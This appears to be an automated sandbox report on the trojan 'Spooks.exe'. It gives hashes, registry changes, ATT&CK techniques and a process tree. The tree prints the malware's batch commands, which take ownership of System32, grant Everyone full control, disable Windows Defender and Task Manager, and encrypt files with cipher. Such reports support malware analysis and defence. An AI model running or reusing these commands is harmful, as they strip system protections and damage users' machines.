756e299d6e62579410a839ddd6f25dea110b4a369c438a3c4bd68d1bf0ee2d72

Analysis

max time kernel
120s
max time network
154s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
24/04/2024, 17:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Spooks.exe
Size

91KB
MD5

f9a22cfdd1a57a7727c4b7bcccb5dcbb
SHA1

3e4d5c69e595e9ae134b51ba6b4af05f3a5f6d0b
SHA256

756e299d6e62579410a839ddd6f25dea110b4a369c438a3c4bd68d1bf0ee2d72
SHA512

a7e2cc9350f053f612633e4a74852b40de0b55fa855ee14cdf6e469057bc8a42baeb5d225b9dc6a1b099dbba17690404ce122a22cf1fb8085c28949d245603e1
SSDEEP

1536:L7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfiwujb:H7DhdC6kzWypvaQ0FxyNTBfir

Score

10^/10

discovery evasion exploit trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2468	takeown.exe
2988	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2468	takeown.exe
2988	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000abb8596cc50c0546bfda6658dcffc233000000000200000000001066000000010000200000006247e7526495c385e7659b014c2411757f9ee8007ff141a95f5965df399135e5000000000e8000000002000020000000b4eb8cc3a4972510786de634f5ea751d608f8179efc38b72565ec7618981cae79000000069997ccc19151f8c4fc0a4b8ce430b51d1a4db3642574a34770b41af74c2dad5b907f7e0c959a51074e280c94a98cbae7ff0a87cda4e82d83b3f13aa55b667cbd1730cdf4a46e749c2f3785b32e529395c4f2be91e9bc3b4e0c25d0853e6f6fc7788aeb08e3f165efdde0569ddd57a5ac6089af633e84bdbb6d8aea4bf372004cf2eb556a2dc9e4b9a7389955c85476e40000000e6caba32d2e285b7c9e4515b06a80800b4a5c8fe3ca92b2d882308573eb5ce28370ed88bf6cb602119ae1794f1a602005e70b7cdbec7c3e0cdbd7ee1d0481e0e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000abb8596cc50c0546bfda6658dcffc2330000000002000000000010660000000100002000000051f6a4e05cd681e1ddf3dfdf030faf2514c79e073e83fce63235fda1895746f2000000000e8000000002000020000000bf82db02244f0e96e5038e5db121fc515c1cce466561a4886f2aa462224133b32000000063908a7a314e6606143097cf6532d804f101cb9a0a34bd0cf67c09bf89226cbb40000000d0b3e5fdee6facb3ab779966bb87eea36f7f7a9f07d87e00124efe503e3fc8348f07f77230048f4b5f616409427f591b2eb0e1923d1100950f2686ce118660ef	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 2011903a6e96da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{64277F01-0261-11EF-831B-46E11F8BECEB} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2468	takeown.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2384	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2384	iexplore.exe
2384	iexplore.exe
2400	IEXPLORE.EXE
2400	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2724	3036	Spooks.exe	29
PID 3036 wrote to memory of 2724	3036	Spooks.exe	29
PID 3036 wrote to memory of 2724	3036	Spooks.exe	29
PID 3036 wrote to memory of 2724	3036	Spooks.exe	29
PID 2724 wrote to memory of 2468	2724	cmd.exe	30
PID 2724 wrote to memory of 2468	2724	cmd.exe	30
PID 2724 wrote to memory of 2468	2724	cmd.exe	30
PID 2724 wrote to memory of 2988	2724	cmd.exe	31
PID 2724 wrote to memory of 2988	2724	cmd.exe	31
PID 2724 wrote to memory of 2988	2724	cmd.exe	31
PID 2724 wrote to memory of 2484	2724	cmd.exe	32
PID 2724 wrote to memory of 2484	2724	cmd.exe	32
PID 2724 wrote to memory of 2484	2724	cmd.exe	32
PID 2724 wrote to memory of 2044	2724	cmd.exe	33
PID 2724 wrote to memory of 2044	2724	cmd.exe	33
PID 2724 wrote to memory of 2044	2724	cmd.exe	33
PID 2724 wrote to memory of 2524	2724	cmd.exe	34
PID 2724 wrote to memory of 2524	2724	cmd.exe	34
PID 2724 wrote to memory of 2524	2724	cmd.exe	34
PID 2724 wrote to memory of 2564	2724	cmd.exe	35
PID 2724 wrote to memory of 2564	2724	cmd.exe	35
PID 2724 wrote to memory of 2564	2724	cmd.exe	35
PID 2724 wrote to memory of 2384	2724	cmd.exe	36
PID 2724 wrote to memory of 2384	2724	cmd.exe	36
PID 2724 wrote to memory of 2384	2724	cmd.exe	36
PID 2384 wrote to memory of 2400	2384	iexplore.exe	37
PID 2384 wrote to memory of 2400	2384	iexplore.exe	37
PID 2384 wrote to memory of 2400	2384	iexplore.exe	37
PID 2384 wrote to memory of 2400	2384	iexplore.exe	37

C:\Users\Admin\AppData\Local\Temp\Spooks.exe
"C:\Users\Admin\AppData\Local\Temp\Spooks.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1FC0.tmp\1FC1.tmp\1FC2.bat C:\Users\Admin\AppData\Local\Temp\Spooks.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\takeown.exe
    Takeown /f C:\Windows\System32\
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\system32" /grant:r "Everyone:(OI)(CI)F" "Guest:(OI)(CI)F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2988
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2484
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2044
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
    3⤵
    PID:2524
- - C:\Windows\System32\cipher.exe
    cipher /e /s /a
    3⤵
    PID:2564
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" i.dailymail.co.uk/i/pix/2015/10/30/20/2DE806DC00000578-3297409-image-a-146_1446236574404.jpg
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2384 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2400

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ea3688740b72b470b564087a8d153329

SHA1
01dbc3d19b705cbd481e9c023e5f64f4643761d0

SHA256
d9770f079efe626f1b0352ae1ea55b8be99e3fc45286af38aecdb10b7ac32f74

SHA512
4e11cd80926e84622f0747b661a18b21d2932e037999f73aed347caeaaa82f6dcd07f5156183d9e5fde679e9a40976046a3b8679365f74edd7bd2081e4596288

Download Submit
C:\Users\Admin\AppData\Local\Temp\1FC0.tmp\1FC1.tmp\1FC2.bat

Filesize
2KB

MD5
43e5a413f204cb226d3cb842d2e8e6b4

SHA1
9c46f79c551da7ef56ec12849408338a238a9495

SHA256
e7a4a2ec2ab564cea3e3e232ceccc66ba680a0ded1d2139bc0fd766f62963047

SHA512
9702599c8610861d6c67cea16dc0854220c67d2b91555c99e8ec00d8bd850d3903a8ad336c245da6da23281320649961bca3bf42980c2fa2a6dfb4d47d4d6f13

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab44DE.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4770.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4A05.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads